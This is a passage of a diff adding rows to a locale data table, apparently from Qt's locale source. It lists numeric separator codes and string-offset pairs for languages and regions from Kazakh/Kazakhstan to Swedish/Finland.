4676,54 , 798,14 , 4648,28 , 4676,54 , 798,14 , 0,2 , 0,2 }, // Kazakh/Kazakhstan + { 64, 179, 44, 46, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 7052,60 , 7112,101 , 1483,27 , 7141,60 , 7201,101 , 134,27 , 4730,35 , 4765,84 , 798,14 , 4730,35 , 4765,84 , 798,14 , 0,2 , 0,2 }, // Kinyarwanda/Rwanda + { 65, 116, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Kirghiz/Kyrgyzstan + { 66, 114, 46, 44, 59, 37, 48, 45, 43, 101, 676,9 , 685,13 , 417,7 , 424,16 , 7213,39 , 7213,39 , 7213,39 , 7302,39 , 7302,39 , 7302,39 , 4849,14 , 4863,28 , 4849,14 , 4849,14 , 4863,28 , 4849,14 , 124,2 , 123,2 }, // Korean/RepublicOfKorea + { 67, 102, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 4891,42 , 4891,42 , 4933,14 , 4891,42 , 4891,42 , 4933,14 , 0,2 , 0,2 }, // Kurdish/Iran + { 67, 103, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 4891,42 , 4891,42 , 4933,14 , 4891,42 , 4891,42 , 4933,14 , 0,2 , 0,2 }, // Kurdish/Iraq + { 67, 207, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 7252,41 , 7293,51 , 7344,27 , 7341,41 , 7382,51 , 7433,27 , 4947,20 , 4967,39 , 5006,14 , 4947,20 , 4967,39 , 5006,14 , 0,2 , 0,2 }, // Kurdish/SyrianArabRepublic + { 67, 217, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 7252,41 , 7293,51 , 7344,27 , 7341,41 , 7382,51 , 7433,27 , 4947,20 , 4967,39 , 5006,14 , 4947,20 , 4967,39 , 5006,14 , 0,2 , 0,2 }, // Kurdish/Turkey + { 69, 117, 46, 44, 59, 37, 48, 45, 43, 101, 334,8 , 698,17 , 196,4 , 440,24 , 7371,63 , 7434,75 , 1483,27 , 7460,63 , 7523,75 , 134,27 , 5020,24 , 5044,57 , 798,14 , 5020,24 , 5044,57 , 798,14 , 0,2 , 0,2 }, // Laothian/Lao + { 71, 118, 44, 160, 59, 37, 48, 8722, 43, 101, 305,8 , 715,23 , 40,5 , 45,13 , 7509,65 , 7574,101 , 134,24 , 7598,65 , 7663,101 , 320,24 , 5101,21 , 5122,72 , 5194,14 , 5101,21 , 5122,72 , 5194,14 , 126,14 , 125,11 }, // Latvian/Latvia + { 72, 49, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 7675,39 , 7714,203 , 1483,27 , 7764,39 , 7803,203 , 134,27 , 5208,23 , 5231,98 , 798,14 , 5208,23 , 5231,98 , 798,14 , 0,2 , 0,2 }, // Lingala/DemocraticRepublicOfCongo + { 72, 50, 46, 44, 59, 37, 48, 45, 43, 101, 206,8 , 290,15 , 40,5 , 45,13 , 7675,39 , 7714,203 , 1483,27 , 7764,39 , 7803,203 , 134,27 , 5208,23 , 5231,98 , 798,14 , 5208,23 , 5231,98 , 798,14 , 0,2 , 0,2 }, // Lingala/PeoplesRepublicOfCongo + { 73, 124, 44, 46, 59, 37, 48, 8722, 43, 101, 66,10 , 738,23 , 40,5 , 45,13 , 7917,69 , 7986,96 , 8082,24 , 8006,48 , 8054,96 , 8150,24 , 5329,17 , 5346,89 , 5435,14 , 5449,21 , 5346,89 , 5435,14 , 140,9 , 136,6 }, // Lithuanian/Lithuania + { 74, 127, 44, 46, 59, 37, 48, 45, 43, 101, 761,7 , 111,15 , 40,5 , 45,13 , 8106,63 , 8169,85 , 8254,24 , 8174,63 , 8237,85 , 8322,24 , 5470,34 , 5504,54 , 1391,14 , 5470,34 , 5504,54 , 1391,14 , 149,10 , 142,8 }, // Macedonian/Macedonia + { 75, 128, 46, 44, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 8278,48 , 8326,92 , 134,24 , 8346,48 , 8394,92 , 320,24 , 5558,34 , 5592,60 , 5652,14 , 5558,34 , 5592,60 , 5652,14 , 0,2 , 0,2 }, // Malagasy/Madagascar + { 76, 130, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 768,13 , 464,4 , 25,15 , 8418,49 , 8467,82 , 1483,27 , 8486,49 , 8535,82 , 134,27 , 5666,28 , 5694,43 , 798,14 , 5666,28 , 5694,43 , 798,14 , 0,2 , 0,2 }, // Malay/Malaysia + { 76, 32, 44, 46, 59, 37, 48, 45, 43, 101, 126,10 , 513,9 , 196,4 , 468,17 , 8418,49 , 8467,82 , 1483,27 , 8486,49 , 8535,82 , 134,27 , 5666,28 , 5694,43 , 798,14 , 5666,28 , 5694,43 , 798,14 , 0,2 , 0,2 }, // Malay/BruneiDarussalam + { 77, 100, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 781,15 , 18,7 , 25,15 , 8549,66 , 8615,101 , 8716,31 , 8617,66 , 8683,101 , 8784,31 , 5737,47 , 5784,70 , 5854,22 , 5737,47 , 5784,70 , 5854,22 , 159,6 , 150,10 }, // Malayalam/India + { 78, 133, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 796,20 , 40,5 , 45,13 , 8747,48 , 8795,86 , 8881,24 , 8815,48 , 8863,86 , 8949,24 , 5876,28 , 5904,63 , 5967,14 , 5876,28 , 5904,63 , 5967,14 , 165,2 , 160,2 }, // Maltese/Malta + { 79, 154, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 8905,83 , 8905,83 , 1483,27 , 8973,83 , 8973,83 , 134,27 , 5981,48 , 5981,48 , 798,14 , 5981,48 , 5981,48 , 798,14 , 0,2 , 0,2 }, // Maori/NewZealand + { 80, 100, 46, 44, 59, 37, 2406, 45, 43, 101, 606,6 , 90,13 , 485,7 , 492,15 , 8988,86 , 8988,86 , 9074,32 , 9056,86 , 9056,86 , 9142,32 , 6029,32 , 6061,53 , 3895,19 , 6029,32 , 6061,53 , 3895,19 , 122,2 , 121,2 }, // Marathi/India + { 82, 44, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 9106,48 , 9154,66 , 1483,27 , 9174,48 , 9222,66 , 134,27 , 6114,21 , 6135,43 , 798,14 , 6114,21 , 6135,43 , 798,14 , 0,2 , 0,2 }, // Mongolian/China + { 82, 143, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 9106,48 , 9154,66 , 1483,27 , 9174,48 , 9222,66 , 134,27 , 6114,21 , 6135,43 , 798,14 , 6114,21 , 6135,43 , 798,14 , 0,2 , 0,2 }, // Mongolian/Mongolia + { 84, 100, 46, 44, 59, 37, 2406, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 9220,56 , 9276,80 , 9356,27 , 9288,56 , 9344,80 , 9424,27 , 6178,33 , 6211,54 , 6265,14 , 6178,33 , 6211,54 , 6265,14 , 102,9 , 103,7 }, // Nepali/India + { 84, 150, 46, 44, 59, 37, 2406, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 9220,56 , 9383,85 , 9356,27 , 9288,56 , 9451,85 , 9424,27 , 6178,33 , 6279,54 , 6265,14 , 6178,33 , 6279,54 , 6265,14 , 167,14 , 162,14 }, // Nepali/Nepal + { 85, 161, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 554,14 , 40,5 , 507,19 , 9468,59 , 9527,83 , 134,24 , 9536,59 , 9595,83 , 320,24 , 6333,28 , 2177,51 , 2228,14 , 6361,35 , 2177,51 , 2228,14 , 0,2 , 0,2 }, // Norwegian/Norway + { 86, 74, 46, 44, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 9610,83 , 9610,83 , 1483,27 , 9678,83 , 9678,83 , 134,27 , 6396,57 , 6396,57 , 798,14 , 6396,57 , 6396,57 , 798,14 , 0,2 , 0,2 }, // Occitan/France + { 87, 100, 46, 44, 59, 37, 2918, 45, 43, 101, 606,6 , 136,14 , 18,7 , 25,15 , 9693,89 , 9693,89 , 9782,32 , 9761,89 , 9761,89 , 9850,32 , 6453,33 , 6486,54 , 6540,18 , 6453,33 , 6486,54 , 6540,18 , 122,2 , 121,2 }, // Oriya/India + { 88, 1, 1643, 1644, 59, 1642, 1776, 8722, 43, 101, 816,8 , 824,17 , 196,4 , 526,14 , 9814,68 , 9814,68 , 1483,27 , 9882,68 , 9882,68 , 134,27 , 6558,49 , 6558,49 , 798,14 , 6558,49 , 6558,49 , 798,14 , 181,4 , 176,4 }, // Pashto/Afghanistan + { 89, 102, 1643, 1644, 1563, 1642, 1776, 8722, 43, 101, 507,6 , 35,15 , 196,4 , 526,14 , 9882,71 , 9953,70 , 10023,25 , 9950,71 , 10021,73 , 10094,25 , 6558,49 , 6558,49 , 6607,14 , 6558,49 , 6558,49 , 6607,14 , 185,10 , 180,10 }, // Persian/Iran + { 89, 1, 1643, 1644, 1563, 1642, 1776, 8722, 43, 101, 507,6 , 35,15 , 196,4 , 526,14 , 10048,63 , 9953,70 , 10111,24 , 10119,63 , 10182,68 , 10250,24 , 6558,49 , 6558,49 , 6607,14 , 6558,49 , 6558,49 , 6607,14 , 185,10 , 180,10 }, // Persian/Afghanistan + { 90, 172, 44, 160, 59, 37, 48, 45, 43, 101, 492,8 , 136,14 , 40,5 , 45,13 , 10135,48 , 10183,97 , 10280,24 , 10274,48 , 10322,99 , 10421,24 , 6621,34 , 6655,59 , 6714,14 , 6621,34 , 6655,59 , 6714,14 , 0,2 , 0,2 }, // Polish/Poland + { 91, 173, 44, 160, 59, 37, 48, 45, 43, 101, 27,8 , 841,24 , 40,5 , 540,22 , 10304,48 , 10352,89 , 134,24 , 10445,48 , 10493,89 , 320,24 , 6728,28 , 6756,79 , 6835,14 , 6728,28 , 6756,79 , 6835,14 , 195,17 , 190,18 }, // Portuguese/Portugal + { 91, 30, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 841,24 , 40,5 , 540,22 , 10441,48 , 10489,89 , 134,24 , 10582,48 , 10630,89 , 320,24 , 6728,28 , 6849,79 , 6835,14 , 6728,28 , 6849,79 , 6835,14 , 0,2 , 0,2 }, // Portuguese/Brazil + { 91, 92, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 841,24 , 40,5 , 540,22 , 10441,48 , 10489,89 , 134,24 , 10582,48 , 10630,89 , 320,24 , 6728,28 , 6849,79 , 6835,14 , 6728,28 , 6849,79 , 6835,14 , 0,2 , 0,2 }, // Portuguese/GuineaBissau + { 91, 146, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 841,24 , 40,5 , 540,22 , 10441,48 , 10489,89 , 134,24 , 10582,48 , 10630,89 , 320,24 , 6728,28 , 6849,79 , 6835,14 , 6728,28 , 6849,79 , 6835,14 , 0,2 , 0,2 }, // Portuguese/Mozambique + { 92, 100, 46, 44, 59, 37, 2662, 45, 43, 101, 126,10 , 111,15 , 18,7 , 25,15 , 10578,68 , 10578,68 , 10646,27 , 10719,68 , 10719,68 , 10787,27 , 6928,38 , 6966,55 , 7021,23 , 6928,38 , 6966,55 , 7021,23 , 212,5 , 208,4 }, // Punjabi/India + { 92, 163, 46, 44, 59, 37, 2662, 45, 43, 101, 126,10 , 111,15 , 18,7 , 25,15 , 10673,67 , 10673,67 , 10646,27 , 10814,67 , 10814,67 , 10787,27 , 6928,38 , 7044,37 , 7021,23 , 6928,38 , 7044,37 , 7021,23 , 212,5 , 208,4 }, // Punjabi/Pakistan + { 94, 206, 46, 8217, 59, 37, 48, 8722, 43, 101, 305,8 , 457,15 , 40,5 , 45,13 , 10740,67 , 10807,92 , 10899,24 , 10881,67 , 10948,92 , 11040,24 , 7081,23 , 7104,56 , 7160,14 , 7081,23 , 7104,56 , 7160,14 , 122,2 , 212,2 }, // RhaetoRomance/Switzerland + { 95, 141, 44, 46, 59, 37, 48, 45, 43, 101, 865,10 , 136,14 , 40,5 , 45,13 , 10923,60 , 10983,98 , 11081,24 , 11064,60 , 11124,98 , 11222,24 , 7174,21 , 7195,48 , 2799,14 , 7174,21 , 7195,48 , 2799,14 , 0,2 , 0,2 }, // Romanian/Moldova + { 95, 177, 44, 46, 59, 37, 48, 45, 43, 101, 865,10 , 136,14 , 40,5 , 45,13 , 10923,60 , 10983,98 , 11081,24 , 11064,60 , 11124,98 , 11222,24 , 7174,21 , 7195,48 , 2799,14 , 7174,21 , 7195,48 , 2799,14 , 0,2 , 0,2 }, // Romanian/Romania + { 96, 178, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 875,19 , 196,4 , 229,12 , 11105,62 , 11167,80 , 11247,24 , 11246,63 , 11309,82 , 11391,24 , 7243,21 , 7264,62 , 7326,14 , 7243,21 , 7340,62 , 7326,14 , 0,2 , 0,2 }, // Russian/RussianFederation + { 96, 141, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 875,19 , 196,4 , 229,12 , 11105,62 , 11167,80 , 11247,24 , 11246,63 , 11309,82 , 11391,24 , 7243,21 , 7264,62 , 7326,14 , 7243,21 , 7340,62 , 7326,14 , 0,2 , 0,2 }, // Russian/Moldova + { 96, 222, 44, 160, 59, 37, 48, 45, 43, 101, 305,8 , 875,19 , 40,5 , 45,13 , 11105,62 , 11167,80 , 11247,24 , 11246,63 , 11309,82 , 11391,24 , 7243,21 , 7264,62 , 7326,14 , 7243,21 , 7340,62 , 7326,14 , 0,2 , 0,2 }, // Russian/Ukraine + { 98, 41, 44, 46, 59, 37, 48, 45, 43, 101, 334,8 , 90,13 , 40,5 , 45,13 , 11271,48 , 11319,91 , 11410,24 , 11415,48 , 11463,91 , 11554,24 , 7402,28 , 7430,66 , 7496,14 , 7402,28 , 7430,66 , 7496,14 , 217,2 , 214,2 }, // Sangho/CentralAfricanRepublic + { 99, 100, 46, 44, 59, 37, 2406, 45, 43, 101, 584,7 , 90,13 , 380,8 , 388,16 , 1483,27 , 1483,27 , 1483,27 , 134,27 , 134,27 , 134,27 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 798,14 , 0,2 , 0,2 }, // Sanskrit/India + { 100, 241, 46, 44, 59, 37, 48, 45, 43, 101, 894,7 , 901,17 , 178,5 , 183,13 , 11434,48 , 11482,81 , 8254,24 , 11578,48 , 11626,81 , 8322,24 , 7510,28 , 7538,52 , 7590,14 , 7510,28 , 7538,52 , 7590,14 , 219,9 , 216,7 }, // Serbian/SerbiaAndMontenegro + { 100, 27, 46, 44, 59, 37, 48, 45, 43, 101, 103,8 , 901,17 , 40,5 , 562,43 , 11434,48 , 11563,83 , 8254,24 , 11578,48 , 11707,83 , 8322,24 , 7604,28 , 7632,54 , 7590,14 , 7604,28 , 7632,54 , 7590,14 , 219,9 , 216,7 }, // Serbian/BosniaAndHerzegowina + { 100, 238, 46, 44, 59, 37, 48, 45, 43, 101, 894,7 , 901,17 , 178,5 , 183,13 , 11434,48 , 11482,81 , 8254,24 , 11578,48 , 11626,81 , 8322,24 , 7510,28 , 7538,52 , 7590,14 , 7510,28 , 7538,52 , 7590,14 , 219,9 , 216,7 }, // Serbian/Yugoslavia + { 100, 242, 46, 44, 59, 37, 48, 45, 43, 101, 894,7 , 901,17 , 178,5 , 183,13 , 11646,48 , 11694,81 , 11775,24 , 11790,48 , 11838,81 , 11919,24 , 7686,28 , 7714,54 , 2051,14 , 7686,28 , 7714,54 , 2051,14 , 228,9 , 223,7 }, // Serbian/Montenegro + { 100, 243, 46, 44, 59, 37, 48, 45, 43, 101, 894,7 , 901,17 , 178,5 , 183,13 , 11434,48 , 11482,81 , 8254,24 , 11578,48 , 11626,81 , 8322,24 , 7510,28 , 7538,52 , 7590,14 , 7510,28 , 7538,52 , 7590,14 , 219,9 , 216,7 }, // Serbian/Serbia + { 101, 241, 46, 44, 59, 37, 48, 45, 43, 101, 894,7 , 901,17 , 178,5 , 183,13 , 11646,48 , 11694,81 , 11775,24 , 11790,48 , 11838,81 , 11919,24 , 7686,28 , 7714,54 , 2051,14 , 7686,28 , 7714,54 , 2051,14 , 228,9 , 223,7 }, // SerboCroatian/SerbiaAndMontenegro + { 101, 27, 46, 44, 59, 37, 48, 45, 43, 101, 894,7 , 901,17 , 178,5 , 183,13 , 11646,48 , 11694,81 , 11775,24 , 11790,48 , 11838,81 , 11919,24 , 7686,28 , 7714,54 , 2051,14 , 7686,28 , 7714,54 , 2051,14 , 228,9 , 223,7 }, // SerboCroatian/BosniaAndHerzegowina + { 101, 238, 46, 44, 59, 37, 48, 45, 43, 101, 894,7 , 901,17 , 178,5 , 183,13 , 11646,48 , 11694,81 , 11775,24 , 11790,48 , 11838,81 , 11919,24 , 7686,28 , 7714,54 , 2051,14 , 7686,28 , 7714,54 , 2051,14 , 228,9 , 223,7 }, // SerboCroatian/Yugoslavia + { 102, 120, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 11799,48 , 11847,105 , 1483,27 , 11943,48 , 11991,105 , 134,27 , 7768,27 , 7795,61 , 798,14 , 7768,27 , 7795,61 , 798,14 , 0,2 , 0,2 }, // Sesotho/Lesotho + { 102, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 11799,48 , 11847,105 , 1483,27 , 11943,48 , 11991,105 , 134,27 , 7768,27 , 7795,61 , 798,14 , 7768,27 , 7795,61 , 798,14 , 0,2 , 0,2 }, // Sesotho/SouthAfrica + { 103, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 11952,48 , 12000,117 , 1483,27 , 12096,48 , 12144,117 , 134,27 , 7856,27 , 7883,64 , 798,14 , 7856,27 , 7883,64 , 798,14 , 0,2 , 0,2 }, // Setswana/SouthAfrica + { 104, 240, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 12117,47 , 12164,100 , 12264,24 , 12261,47 , 12308,100 , 12408,24 , 7947,32 , 7979,55 , 8034,14 , 7947,32 , 7979,55 , 8034,14 , 0,2 , 0,2 }, // Shona/Zimbabwe + { 106, 198, 46, 44, 59, 37, 48, 45, 43, 101, 536,10 , 918,14 , 18,7 , 25,15 , 12288,54 , 12342,92 , 12434,32 , 12432,54 , 12486,92 , 12578,32 , 8048,30 , 8078,62 , 8140,19 , 8048,30 , 8078,62 , 8140,19 , 237,5 , 230,4 }, // Singhalese/SriLanka + { 107, 195, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 12466,48 , 12514,114 , 1483,27 , 12610,48 , 12658,114 , 134,27 , 8159,27 , 8186,68 , 798,14 , 8159,27 , 8186,68 , 798,14 , 0,2 , 0,2 }, // Siswati/SouthAfrica + { 107, 204, 44, 160, 59, 37, 48, 45, 43, 101, 66,10 , 290,15 , 40,5 , 45,13 , 12466,48 , 12514,114 , 1483,27 , 12610,48 , 12658,114 , 134,27 , 8159,27 , 8186,68 , 798,14 , 8159,27 , 8186,68 , 798,14 , 0,2 , 0,2 }, // Siswati/Swaziland + { 108, 191, 44, 160, 59, 37, 48, 45, 43, 101, 546,8 , 457,15 , 196,4 , 229,12 , 12628,48 , 12676,82 , 11775,24 , 12772,48 , 12820,89 , 11919,24 , 8254,21 , 8275,52 , 8327,14 , 8254,21 , 8275,52 , 8327,14 , 242,10 , 234,9 }, // Slovak/Slovakia + { 109, 192, 44, 46, 59, 37, 48, 45, 43, 101, 932,9 , 568,16 , 40,5 , 45,13 , 11646,48 , 12758,86 , 11775,24 , 11790,48 , 12909,86 , 11919,24 , 8341,28 , 8369,52 , 8421,14 , 8341,28 , 8369,52 , 8421,14 , 53,4 , 243,4 }, // Slovenian/Slovenia + { 110, 194, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 12844,48 , 12892,189 , 13081,24 , 12995,48 , 13043,189 , 13232,24 , 8435,28 , 8463,47 , 8510,14 , 8435,28 , 8463,47 , 8510,14 , 252,3 , 247,3 }, // Somali/Somalia + { 110, 59, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 12844,48 , 12892,189 , 13081,24 , 12995,48 , 13043,189 , 13232,24 , 8435,28 , 8463,47 , 8510,14 , 8435,28 , 8463,47 , 8510,14 , 252,3 , 247,3 }, // Somali/Djibouti + { 110, 69, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 12844,48 , 12892,189 , 13081,24 , 12995,48 , 13043,189 , 13232,24 , 8435,28 , 8463,47 , 8510,14 , 8435,28 , 8463,47 , 8510,14 , 252,3 , 247,3 }, // Somali/Ethiopia + { 110, 111, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 50,16 , 18,7 , 25,15 , 12844,48 , 12892,189 , 13081,24 , 12995,48 , 13043,189 , 13232,24 , 8435,28 , 8463,47 , 8510,14 , 8435,28 , 8463,47 , 8510,14 , 252,3 , 247,3 }, // Somali/Kenya + { 111, 197, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Spain + { 111, 10, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 605,17 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Argentina + { 111, 26, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Bolivia + { 111, 43, 44, 46, 59, 37, 48, 45, 43, 101, 492,8 , 941,23 , 196,4 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Chile + { 111, 47, 44, 46, 59, 37, 48, 45, 43, 101, 500,7 , 941,23 , 196,4 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Colombia + { 111, 52, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/CostaRica + { 111, 61, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/DominicanRepublic + { 111, 63, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 196,4 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Ecuador + { 111, 65, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/ElSalvador + { 111, 66, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/EquatorialGuinea + { 111, 90, 46, 44, 59, 37, 48, 45, 43, 101, 500,7 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Guatemala + { 111, 96, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 964,24 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Honduras + { 111, 139, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Mexico + { 111, 155, 46, 44, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Nicaragua + { 111, 166, 46, 44, 59, 37, 48, 45, 43, 101, 175,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Panama + { 111, 168, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Paraguay + { 111, 169, 46, 44, 59, 37, 48, 45, 43, 101, 500,7 , 941,23 , 40,5 , 622,18 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Peru + { 111, 174, 46, 44, 59, 37, 48, 45, 43, 101, 175,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/PuertoRico + { 111, 225, 46, 44, 59, 37, 48, 45, 43, 101, 507,6 , 941,23 , 18,7 , 25,15 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/UnitedStates + { 111, 227, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Uruguay + { 111, 231, 44, 46, 59, 37, 48, 45, 43, 101, 27,8 , 941,23 , 40,5 , 45,13 , 13105,48 , 13153,89 , 13242,24 , 13256,48 , 13304,89 , 13393,24 , 8524,28 , 8552,53 , 2799,14 , 8524,28 , 8552,53 , 2799,14 , 49,4 , 49,4 }, // Spanish/Venezuela + { 113, 111, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 13266,48 , 13314,84 , 134,24 , 13417,48 , 13465,84 , 320,24 , 8605,22 , 8627,60 , 8687,14 , 8605,22 , 8627,60 , 8687,14 , 255,7 , 250,7 }, // Swahili/Kenya + { 113, 210, 46, 44, 59, 37, 48, 45, 43, 101, 126,10 , 136,14 , 18,7 , 25,15 , 13266,48 , 13314,84 , 134,24 , 13417,48 , 13465,84 , 320,24 , 8605,22 , 8627,60 , 8687,14 , 8605,22 , 8627,60 , 8687,14 , 255,7 , 250,7 }, // Swahili/Tanzania + { 114, 205, 44, 160, 59, 37, 48, 8722, 43, 101, 66,10 , 988,27 , 40,5 , 507,19 , 3473,48 , 13398,86 , 134,24 , 5180,48 , 13549,86 , 320,24 , 8701,29 , 8730,50 , 2228,14 , 8701,29 , 8730,50 , 2228,14 , 262,2 , 257,2 }, // Swedish/Sweden + { 114, 73, 44, 160, 59, 37, 48, 8722, 43, 101, 66,10 , 988,27 , 40,5 , 507,19 , 3473,48 , 13398,86 , 134,24 , 5180,48 , 13549,86 , 320,24 , 8701,29 , 8730,50 , 2228,14 , 8701,29 , 8730,50 , 2228,14 , 262,2 , 257,2 }, // Swedish/Finland + { 116, 209, 46, 44, 59, 37, 48, 45, 